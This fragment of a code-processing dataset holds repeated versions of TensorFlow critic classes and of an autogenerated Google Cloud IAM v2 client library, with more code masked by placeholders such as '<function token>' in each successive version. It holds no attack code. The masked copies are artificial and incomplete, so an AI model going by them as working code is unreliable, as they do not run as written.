token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass ConcatCritic(tf.keras.Model):\n <function token>\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n\n\nclass ConcatCritic(tf.keras.Model):\n <function token>\n <function token>\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SeparableCritic(tf.keras.Model):\n <function token>\n <function token>\n\n\n<function token>\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n<class token>\n<class token>\n<class token>\n<import token>\n<class token>\n<function token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]

[ "\"\"\"Generated client library for iam version v2.\"\"\"\n# NOTE: This file is autogenerated and should not be edited by hand.\n\nfrom __future__ import absolute_import\n\nfrom apitools.base.py import base_api\nfrom googlecloudsdk.third_party.apis.iam.v2 import iam_v2_messages as messages\n\n\nclass IamV2(base_api.BaseApiClient):\n \"\"\"Generated client library for service iam version v2.\"\"\"\n\n MESSAGES_MODULE = messages\n BASE_URL = 'https://iam.googleapis.com/'\n MTLS_BASE_URL = 'https://iam.mtls.googleapis.com/'\n\n _PACKAGE = 'iam'\n _SCOPES = ['https://www.googleapis.com/auth/cloud-platform']\n _VERSION = 'v2'\n _CLIENT_ID = 'CLIENT_ID'\n _CLIENT_SECRET = 'CLIENT_SECRET'\n _USER_AGENT = 'google-cloud-sdk'\n _CLIENT_CLASS_NAME = 'IamV2'\n _URL_VERSION = 'v2'\n _API_KEY = None\n\n def __init__(self, url='', credentials=None,\n get_credentials=True, http=None, model=None,\n log_request=False, log_response=False,\n credentials_args=None, default_global_params=None,\n additional_http_headers=None, response_encoding=None):\n \"\"\"Create a new iam handle.\"\"\"\n url = url or self.BASE_URL\n super(IamV2, self).__init__(\n url, credentials=credentials,\n get_credentials=get_credentials, http=http, model=model,\n log_request=log_request, log_response=log_response,\n credentials_args=credentials_args,\n default_global_params=default_global_params,\n additional_http_headers=additional_http_headers,\n response_encoding=response_encoding)\n self.policies_operations = self.PoliciesOperationsService(self)\n self.policies = self.PoliciesService(self)\n\n class PoliciesOperationsService(base_api.BaseApiService):\n \"\"\"Service class for the policies_operations resource.\"\"\"\n\n _NAME = 'policies_operations'\n\n def __init__(self, client):\n super(IamV2.PoliciesOperationsService, self).__init__(client)\n self._upload_configs = {\n }\n\n def Get(self, request, global_params=None):\n r\"\"\"Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.\n\n Args:\n request: (IamPoliciesOperationsGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n Get.method_config = lambda: base_api.ApiMethodInfo(\n flat_path='v2/policies/{policiesId}/{policiesId1}/{policiesId2}/operations/{operationsId}',\n http_method='GET',\n method_id='iam.policies.operations.get',\n ordered_params=['name'],\n path_params=['name'],\n query_params=[],\n relative_path='v2/{+name}',\n request_field='',\n request_type_name='IamPoliciesOperationsGetRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False,\n )\n\n class PoliciesService(base_api.BaseApiService):\n \"\"\"Service class for the policies resource.\"\"\"\n\n _NAME = 'policies'\n\n def __init__(self, client):\n super(IamV2.PoliciesService, self).__init__(client)\n self._upload_configs = {\n }\n\n def CreatePolicy(self, request, global_params=None):\n r\"\"\"Creates a policy.\n\n Args:\n request: (IamPoliciesCreatePolicyRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('CreatePolicy')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n CreatePolicy.method_config = lambda: base_api.ApiMethodInfo(\n flat_path='v2/policies/{policiesId}/{policiesId1}',\n http_method='POST',\n method_id='iam.policies.createPolicy',\n ordered_params=['parent'],\n path_params=['parent'],\n query_params=['policyId'],\n relative_path='v2/{+parent}',\n request_field='googleIamV2Policy',\n request_type_name='IamPoliciesCreatePolicyRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False,\n )\n\n def Delete(self, request, global_params=None):\n r\"\"\"Deletes a policy. This action is permanent.\n\n Args:\n request: (IamPoliciesDeleteRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Delete')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n Delete.method_config = lambda: base_api.ApiMethodInfo(\n flat_path='v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='DELETE',\n method_id='iam.policies.delete',\n ordered_params=['name'],\n path_params=['name'],\n query_params=['etag'],\n relative_path='v2/{+name}',\n request_field='',\n request_type_name='IamPoliciesDeleteRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False,\n )\n\n def Get(self, request, global_params=None):\n r\"\"\"Gets a policy.\n\n Args:\n request: (IamPoliciesGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2Policy) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n Get.method_config = lambda: base_api.ApiMethodInfo(\n flat_path='v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='GET',\n method_id='iam.policies.get',\n ordered_params=['name'],\n path_params=['name'],\n query_params=[],\n relative_path='v2/{+name}',\n request_field='',\n request_type_name='IamPoliciesGetRequest',\n response_type_name='GoogleIamV2Policy',\n supports_download=False,\n )\n\n def ListPolicies(self, request, global_params=None):\n r\"\"\"Retrieves the policies of the specified kind that are attached to a resource. The response lists only policy metadata. In particular, policy rules are omitted.\n\n Args:\n request: (IamPoliciesListPoliciesRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2ListPoliciesResponse) The response message.\n \"\"\"\n config = self.GetMethodConfig('ListPolicies')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n ListPolicies.method_config = lambda: base_api.ApiMethodInfo(\n flat_path='v2/policies/{policiesId}/{policiesId1}',\n http_method='GET',\n method_id='iam.policies.listPolicies',\n ordered_params=['parent'],\n path_params=['parent'],\n query_params=['pageSize', 'pageToken'],\n relative_path='v2/{+parent}',\n request_field='',\n request_type_name='IamPoliciesListPoliciesRequest',\n response_type_name='GoogleIamV2ListPoliciesResponse',\n supports_download=False,\n )\n\n def Update(self, request, global_params=None):\n r\"\"\"Updates the specified policy. You can update only the rules and the display name for the policy. To update a policy, you should use a read-modify-write loop: 1. Use GetPolicy to read the current version of the policy. 2. Modify the policy as needed. 3. Use `UpdatePolicy` to write the updated policy. This pattern helps prevent conflicts between concurrent updates.\n\n Args:\n request: (GoogleIamV2Policy) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Update')\n return self._RunMethod(\n config, request, global_params=global_params)\n\n Update.method_config = lambda: base_api.ApiMethodInfo(\n flat_path='v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='PUT',\n method_id='iam.policies.update',\n ordered_params=['name'],\n path_params=['name'],\n query_params=[],\n relative_path='v2/{+name}',\n request_field='<request>',\n request_type_name='GoogleIamV2Policy',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False,\n )\n", "<docstring token>\nfrom __future__ import absolute_import\nfrom apitools.base.py import base_api\nfrom googlecloudsdk.third_party.apis.iam.v2 import iam_v2_messages as messages\n\n\nclass IamV2(base_api.BaseApiClient):\n \"\"\"Generated client library for service iam version v2.\"\"\"\n MESSAGES_MODULE = messages\n BASE_URL = 'https://iam.googleapis.com/'\n MTLS_BASE_URL = 'https://iam.mtls.googleapis.com/'\n _PACKAGE = 'iam'\n _SCOPES = ['https://www.googleapis.com/auth/cloud-platform']\n _VERSION = 'v2'\n _CLIENT_ID = 'CLIENT_ID'\n _CLIENT_SECRET = 'CLIENT_SECRET'\n _USER_AGENT = 'google-cloud-sdk'\n _CLIENT_CLASS_NAME = 'IamV2'\n _URL_VERSION = 'v2'\n _API_KEY = None\n\n def __init__(self, url='', credentials=None, get_credentials=True, http\n =None, model=None, log_request=False, log_response=False,\n credentials_args=None, default_global_params=None,\n additional_http_headers=None, response_encoding=None):\n \"\"\"Create a new iam handle.\"\"\"\n url = url or self.BASE_URL\n super(IamV2, self).__init__(url, credentials=credentials,\n get_credentials=get_credentials, http=http, model=model,\n log_request=log_request, log_response=log_response,\n credentials_args=credentials_args, default_global_params=\n default_global_params, additional_http_headers=\n additional_http_headers, response_encoding=response_encoding)\n self.policies_operations = self.PoliciesOperationsService(self)\n self.policies = self.PoliciesService(self)\n\n\n class PoliciesOperationsService(base_api.BaseApiService):\n \"\"\"Service class for the policies_operations resource.\"\"\"\n _NAME = 'policies_operations'\n\n def __init__(self, client):\n super(IamV2.PoliciesOperationsService, self).__init__(client)\n self._upload_configs = {}\n\n def Get(self, request, global_params=None):\n \"\"\"Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.\n\n Args:\n request: (IamPoliciesOperationsGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}/operations/{operationsId}'\n , http_method='GET', method_id='iam.policies.operations.get',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='', request_type_name\n ='IamPoliciesOperationsGetRequest', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n\n\n class PoliciesService(base_api.BaseApiService):\n \"\"\"Service class for the policies resource.\"\"\"\n _NAME = 'policies'\n\n def __init__(self, client):\n super(IamV2.PoliciesService, self).__init__(client)\n self._upload_configs = {}\n\n def CreatePolicy(self, request, global_params=None):\n \"\"\"Creates a policy.\n\n Args:\n request: (IamPoliciesCreatePolicyRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('CreatePolicy')\n return self._RunMethod(config, request, global_params=global_params\n )\n CreatePolicy.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='POST',\n method_id='iam.policies.createPolicy', ordered_params=['parent'\n ], path_params=['parent'], query_params=['policyId'],\n relative_path='v2/{+parent}', request_field='googleIamV2Policy',\n request_type_name='IamPoliciesCreatePolicyRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Delete(self, request, global_params=None):\n \"\"\"Deletes a policy. This action is permanent.\n\n Args:\n request: (IamPoliciesDeleteRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Delete')\n return self._RunMethod(config, request, global_params=global_params\n )\n Delete.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='DELETE', method_id='iam.policies.delete',\n ordered_params=['name'], path_params=['name'], query_params=[\n 'etag'], relative_path='v2/{+name}', request_field='',\n request_type_name='IamPoliciesDeleteRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Get(self, request, global_params=None):\n \"\"\"Gets a policy.\n\n Args:\n request: (IamPoliciesGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2Policy) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='GET', method_id='iam.policies.get', ordered_params\n =['name'], path_params=['name'], query_params=[], relative_path\n ='v2/{+name}', request_field='', request_type_name=\n 'IamPoliciesGetRequest', response_type_name='GoogleIamV2Policy',\n supports_download=False)\n\n def ListPolicies(self, request, global_params=None):\n \"\"\"Retrieves the policies of the specified kind that are attached to a resource. The response lists only policy metadata. In particular, policy rules are omitted.\n\n Args:\n request: (IamPoliciesListPoliciesRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2ListPoliciesResponse) The response message.\n \"\"\"\n config = self.GetMethodConfig('ListPolicies')\n return self._RunMethod(config, request, global_params=global_params\n )\n ListPolicies.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='GET',\n method_id='iam.policies.listPolicies', ordered_params=['parent'\n ], path_params=['parent'], query_params=['pageSize',\n 'pageToken'], relative_path='v2/{+parent}', request_field='',\n request_type_name='IamPoliciesListPoliciesRequest',\n response_type_name='GoogleIamV2ListPoliciesResponse',\n supports_download=False)\n\n def Update(self, request, global_params=None):\n \"\"\"Updates the specified policy. You can update only the rules and the display name for the policy. To update a policy, you should use a read-modify-write loop: 1. Use GetPolicy to read the current version of the policy. 2. Modify the policy as needed. 3. Use `UpdatePolicy` to write the updated policy. This pattern helps prevent conflicts between concurrent updates.\n\n Args:\n request: (GoogleIamV2Policy) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Update')\n return self._RunMethod(config, request, global_params=global_params\n )\n Update.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='PUT', method_id='iam.policies.update',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='<request>',\n request_type_name='GoogleIamV2Policy', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n", "<docstring token>\n<import token>\n\n\nclass IamV2(base_api.BaseApiClient):\n \"\"\"Generated client library for service iam version v2.\"\"\"\n MESSAGES_MODULE = messages\n BASE_URL = 'https://iam.googleapis.com/'\n MTLS_BASE_URL = 'https://iam.mtls.googleapis.com/'\n _PACKAGE = 'iam'\n _SCOPES = ['https://www.googleapis.com/auth/cloud-platform']\n _VERSION = 'v2'\n _CLIENT_ID = 'CLIENT_ID'\n _CLIENT_SECRET = 'CLIENT_SECRET'\n _USER_AGENT = 'google-cloud-sdk'\n _CLIENT_CLASS_NAME = 'IamV2'\n _URL_VERSION = 'v2'\n _API_KEY = None\n\n def __init__(self, url='', credentials=None, get_credentials=True, http\n =None, model=None, log_request=False, log_response=False,\n credentials_args=None, default_global_params=None,\n additional_http_headers=None, response_encoding=None):\n \"\"\"Create a new iam handle.\"\"\"\n url = url or self.BASE_URL\n super(IamV2, self).__init__(url, credentials=credentials,\n get_credentials=get_credentials, http=http, model=model,\n log_request=log_request, log_response=log_response,\n credentials_args=credentials_args, default_global_params=\n default_global_params, additional_http_headers=\n additional_http_headers, response_encoding=response_encoding)\n self.policies_operations = self.PoliciesOperationsService(self)\n self.policies = self.PoliciesService(self)\n\n\n class PoliciesOperationsService(base_api.BaseApiService):\n \"\"\"Service class for the policies_operations resource.\"\"\"\n _NAME = 'policies_operations'\n\n def __init__(self, client):\n super(IamV2.PoliciesOperationsService, self).__init__(client)\n self._upload_configs = {}\n\n def Get(self, request, global_params=None):\n \"\"\"Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.\n\n Args:\n request: (IamPoliciesOperationsGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}/operations/{operationsId}'\n , http_method='GET', method_id='iam.policies.operations.get',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='', request_type_name\n ='IamPoliciesOperationsGetRequest', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n\n\n class PoliciesService(base_api.BaseApiService):\n \"\"\"Service class for the policies resource.\"\"\"\n _NAME = 'policies'\n\n def __init__(self, client):\n super(IamV2.PoliciesService, self).__init__(client)\n self._upload_configs = {}\n\n def CreatePolicy(self, request, global_params=None):\n \"\"\"Creates a policy.\n\n Args:\n request: (IamPoliciesCreatePolicyRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('CreatePolicy')\n return self._RunMethod(config, request, global_params=global_params\n )\n CreatePolicy.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='POST',\n method_id='iam.policies.createPolicy', ordered_params=['parent'\n ], path_params=['parent'], query_params=['policyId'],\n relative_path='v2/{+parent}', request_field='googleIamV2Policy',\n request_type_name='IamPoliciesCreatePolicyRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Delete(self, request, global_params=None):\n \"\"\"Deletes a policy. This action is permanent.\n\n Args:\n request: (IamPoliciesDeleteRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Delete')\n return self._RunMethod(config, request, global_params=global_params\n )\n Delete.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='DELETE', method_id='iam.policies.delete',\n ordered_params=['name'], path_params=['name'], query_params=[\n 'etag'], relative_path='v2/{+name}', request_field='',\n request_type_name='IamPoliciesDeleteRequest',\n response_type_name='GoogleLongrunningOperation',\n supports_download=False)\n\n def Get(self, request, global_params=None):\n \"\"\"Gets a policy.\n\n Args:\n request: (IamPoliciesGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2Policy) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n Get.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='GET', method_id='iam.policies.get', ordered_params\n =['name'], path_params=['name'], query_params=[], relative_path\n ='v2/{+name}', request_field='', request_type_name=\n 'IamPoliciesGetRequest', response_type_name='GoogleIamV2Policy',\n supports_download=False)\n\n def ListPolicies(self, request, global_params=None):\n \"\"\"Retrieves the policies of the specified kind that are attached to a resource. The response lists only policy metadata. In particular, policy rules are omitted.\n\n Args:\n request: (IamPoliciesListPoliciesRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleIamV2ListPoliciesResponse) The response message.\n \"\"\"\n config = self.GetMethodConfig('ListPolicies')\n return self._RunMethod(config, request, global_params=global_params\n )\n ListPolicies.method_config = lambda : base_api.ApiMethodInfo(flat_path\n ='v2/policies/{policiesId}/{policiesId1}', http_method='GET',\n method_id='iam.policies.listPolicies', ordered_params=['parent'\n ], path_params=['parent'], query_params=['pageSize',\n 'pageToken'], relative_path='v2/{+parent}', request_field='',\n request_type_name='IamPoliciesListPoliciesRequest',\n response_type_name='GoogleIamV2ListPoliciesResponse',\n supports_download=False)\n\n def Update(self, request, global_params=None):\n \"\"\"Updates the specified policy. You can update only the rules and the display name for the policy. To update a policy, you should use a read-modify-write loop: 1. Use GetPolicy to read the current version of the policy. 2. Modify the policy as needed. 3. Use `UpdatePolicy` to write the updated policy. This pattern helps prevent conflicts between concurrent updates.\n\n Args:\n request: (GoogleIamV2Policy) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Update')\n return self._RunMethod(config, request, global_params=global_params\n )\n Update.method_config = lambda : base_api.ApiMethodInfo(flat_path=\n 'v2/policies/{policiesId}/{policiesId1}/{policiesId2}',\n http_method='PUT', method_id='iam.policies.update',\n ordered_params=['name'], path_params=['name'], query_params=[],\n relative_path='v2/{+name}', request_field='<request>',\n request_type_name='GoogleIamV2Policy', response_type_name=\n 'GoogleLongrunningOperation', supports_download=False)\n", "<docstring token>\n<import token>\n\n\nclass IamV2(base_api.BaseApiClient):\n <docstring token>\n MESSAGES_MODULE = messages\n BASE_URL = 'https://iam.googleapis.com/'\n MTLS_BASE_URL = 'https://iam.mtls.googleapis.com/'\n _PACKAGE = 'iam'\n _SCOPES = ['https://www.googleapis.com/auth/cloud-platform']\n _VERSION = 'v2'\n _CLIENT_ID = 'CLIENT_ID'\n _CLIENT_SECRET = 'CLIENT_SECRET'\n _USER_AGENT = 'google-cloud-sdk'\n _CLIENT_CLASS_NAME = 'IamV2'\n _URL_VERSION = 'v2'\n _API_KEY = None\n\n def __init__(self, url='', credentials=None, get_credentials=True, http\n =None, model=None, log_request=False, log_response=False,\n credentials_args=None, default_global_params=None,\n additional_http_headers=None, response_encoding=None):\n \"\"\"Create a new iam handle.\"\"\"\n url = url or self.BASE_URL\n super(IamV2, self).__init__(url, credentials=credentials,\n get_credentials=get_credentials, http=http, model=model,\n log_request=log_request, log_response=log_response,\n credentials_args=credentials_args, default_global_params=\n default_global_params, additional_http_headers=\n additional_http_headers, response_encoding=response_encoding)\n self.policies_operations = self.PoliciesOperationsService(self)\n self.policies = self.PoliciesService(self)\n\n\n class PoliciesOperationsService(base_api.BaseApiService):\n \"\"\"Service class for the policies_operations resource.\"\"\"\n _NAME = 'policies_operations'\n\n def __init__(self, client):\n super(IamV2.PoliciesOperationsService, self).__init__(client)\n self._upload_configs = {}\n\n def Get(self, request, global_params=None):\n \"\"\"Gets the latest state of a long-running operation. Clients can use this method to poll the operation result at intervals as recommended by the API service.\n\n Args:\n request: (IamPoliciesOperationsGetRequest) input message\n global_params: (StandardQueryParameters, default: None) global arguments\n Returns:\n (GoogleLongrunningOperation) The response message.\n \"\"\"\n config = self.GetMethodConfig('Get')\n return self._RunMethod(config, request, global_params=global_params\n )\n 